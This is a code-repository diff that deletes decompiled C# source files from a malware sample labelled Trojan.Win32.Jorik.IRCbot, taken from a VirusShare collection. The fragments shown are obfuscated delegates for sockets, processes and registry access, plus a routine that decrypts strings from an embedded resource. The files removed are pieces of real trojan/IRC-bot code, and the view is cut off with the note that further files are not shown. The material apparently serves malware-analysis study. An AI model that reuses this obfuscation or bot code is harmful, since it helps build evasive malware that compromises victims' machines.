internal delegate string \u0014\u0003([In] object obj0, [In] string obj1, [In] string obj2);

View File

@ -1,10 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A6501CE-651B-49EF-9CD4-6837233ABDB4
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Jorik.IRCbot.div-738c3979666da85c3c9872a05697e6bff01b107645b92c3a808be0f2a7bf41a4.exe
using System.Net.Sockets;
using System.Runtime.InteropServices;
internal delegate NetworkStream \u0015\u0002([In] object obj0);

View File

@ -1,9 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A6501CE-651B-49EF-9CD4-6837233ABDB4
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Jorik.IRCbot.div-738c3979666da85c3c9872a05697e6bff01b107645b92c3a808be0f2a7bf41a4.exe
using System.Diagnostics;
internal delegate Process[] \u0015\u0003();

View File

@ -1,10 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A6501CE-651B-49EF-9CD4-6837233ABDB4
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Jorik.IRCbot.div-738c3979666da85c3c9872a05697e6bff01b107645b92c3a808be0f2a7bf41a4.exe
using System;
using System.Runtime.InteropServices;
internal delegate void \u0016\u0002([In] Array obj0, [In] int obj1, [In] Array obj2, [In] int obj3, [In] int obj4);

View File

@ -1,10 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A6501CE-651B-49EF-9CD4-6837233ABDB4
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Jorik.IRCbot.div-738c3979666da85c3c9872a05697e6bff01b107645b92c3a808be0f2a7bf41a4.exe
using System.Collections;
using System.Runtime.InteropServices;
internal delegate IEnumerator \u0016\u0003([In] object obj0);

View File

@ -1,12 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .Token20000A6
// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A6501CE-651B-49EF-9CD4-6837233ABDB4
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Jorik.IRCbot.div-738c3979666da85c3c9872a05697e6bff01b107645b92c3a808be0f2a7bf41a4.exe
namespace \u0017
{
internal class Token20000A6 : \u0024Unresolved\u0024Token\u003A2003FFF
{
}
}

View File

@ -1,128 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A6501CE-651B-49EF-9CD4-6837233ABDB4
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Jorik.IRCbot.div-738c3979666da85c3c9872a05697e6bff01b107645b92c3a808be0f2a7bf41a4.exe
using \u0003;
using \u0005;
using \u000F;
using \u0017;
using System;
using System.Collections;
using System.IO;
using System.Reflection;
using System.Runtime.InteropServices;
namespace \u0017
{
internal sealed class \u0004
{
[NonSerialized]
internal static \u0002 \u0001;
private static string \u0001;
private static string \u0002;
private static byte[] \u0003;
private static Hashtable \u0004;
private static bool \u0005;
private static int \u0006;
public static string \u0091([In] int obj0)
{
obj0 -= \u0004.\u0006;
if (\u0004.\u0005)
{
string str = (string) \u009F.\u007E\u0080\u0003((object) \u0004.\u0004, (object) obj0);
if (str != null)
return str;
}
int num1 = obj0;
byte[] numArray1 = \u0004.\u0003;
int index1 = num1;
int num2 = index1 + 1;
int num3 = (int) numArray1[index1];
int num4;
if ((num3 & 128) == 0)
{
num4 = num3;
if (num4 == 0)
return string.Empty;
}
else if ((num3 & 64) == 0)
{
num4 = ((num3 & 63) << 8) + (int) \u0004.\u0003[num2++];
}
else
{
int num5 = (num3 & 31) << 24;
byte[] numArray2 = \u0004.\u0003;
int index2 = num2;
int num6 = index2 + 1;
int num7 = (int) numArray2[index2] << 16;
int num8 = num5 + num7;
byte[] numArray3 = \u0004.\u0003;
int index3 = num6;
int num9 = index3 + 1;
int num10 = (int) numArray3[index3] << 8;
int num11 = num8 + num10;
byte[] numArray4 = \u0004.\u0003;
int index4 = num9;
num2 = index4 + 1;
int num12 = (int) numArray4[index4];
num4 = num11 + num12;
}
try
{
byte[] numArray5 = \u0092.\u009B\u0002(\u0097.\u007E\u009E\u0003((object) \u0087\u0003.\u009F\u0003(), \u0004.\u0003, num2, num4));
string str = \u009E\u0002.\u008E\u0002(\u0097.\u007E\u009E\u0003((object) \u0087\u0003.\u009F\u0003(), numArray5, 0, numArray5.Length));
if (\u0004.\u0005)
{
try
{
\u0093\u0002.\u007E\u007F\u0003((object) \u0004.\u0004, (object) obj0, (object) str);
}
catch
{
}
}
return str;
}
catch
{
return (string) null;
}
}
static \u0004()
{
\u0004.\u008E();
\u0004.\u0001 = "0";
\u0004.\u0002 = "32";
\u0004.\u0003 = (byte[]) null;
\u0004.\u0004 = (Hashtable) null;
\u0004.\u0005 = false;
\u0004.\u0006 = 0;
if (\u0099\u0002.\u0081\u0002(\u0004.\u0001, "1"))
{
\u0004.\u0005 = true;
\u0004.\u0004 = new Hashtable();
}
\u0004.\u0006 = \u0008\u0002.\u009A\u0002(\u0004.\u0002);
Assembly assembly = \u008E\u0002.\u008C\u0003();
Stream stream = \u009A.\u007E\u008A\u0003((object) assembly, "{0a6501ce-651b-49ef-9cd4-6837233abdb4}");
try
{
int length = \u0005\u0002.\u0099\u0002(\u0092\u0002.\u007E\u0010\u0004((object) stream));
byte[] numArray = new byte[length];
int num = \u001F\u0003.\u007E\u0013\u0004((object) stream, numArray, 0, length);
\u0004.\u0003 = \u000E.\u0090(numArray);
\u0011\u0002.\u007E\u0012\u0004((object) stream);
}
finally
{
if (stream != null)
\u0011\u0002.\u007E\u0080\u0002((object) stream);
}
}
}
}

View File

@ -1,15 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A6501CE-651B-49EF-9CD4-6837233ABDB4
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Jorik.IRCbot.div-738c3979666da85c3c9872a05697e6bff01b107645b92c3a808be0f2a7bf41a4.exe
using Microsoft.Win32;
using System.Runtime.InteropServices;
using System.Security.AccessControl;
internal delegate RegistryKey \u0017\u0002(
[In] object obj0,
[In] string obj1,
[In] RegistryKeyPermissionCheck obj2,
[In] RegistryRights obj3);

View File

@ -1,10 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A6501CE-651B-49EF-9CD4-6837233ABDB4
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Jorik.IRCbot.div-738c3979666da85c3c9872a05697e6bff01b107645b92c3a808be0f2a7bf41a4.exe
using System.Diagnostics;
using System.Runtime.InteropServices;
internal delegate StackFrame \u0017\u0003([In] object obj0, [In] int obj1);

View File

@ -1,10 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A6501CE-651B-49EF-9CD4-6837233ABDB4
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Jorik.IRCbot.div-738c3979666da85c3c9872a05697e6bff01b107645b92c3a808be0f2a7bf41a4.exe
using System;
using System.Runtime.InteropServices;
internal delegate int \u0018\u0002([In] Array obj0, [In] int obj1);

View File

@ -1,9 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A6501CE-651B-49EF-9CD4-6837233ABDB4
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Jorik.IRCbot.div-738c3979666da85c3c9872a05697e6bff01b107645b92c3a808be0f2a7bf41a4.exe
using System.Runtime.InteropServices;
internal delegate void \u0018\u0003([In] object obj0, [In] int obj1);

Some files were not shown because too many files have changed in this diff Show More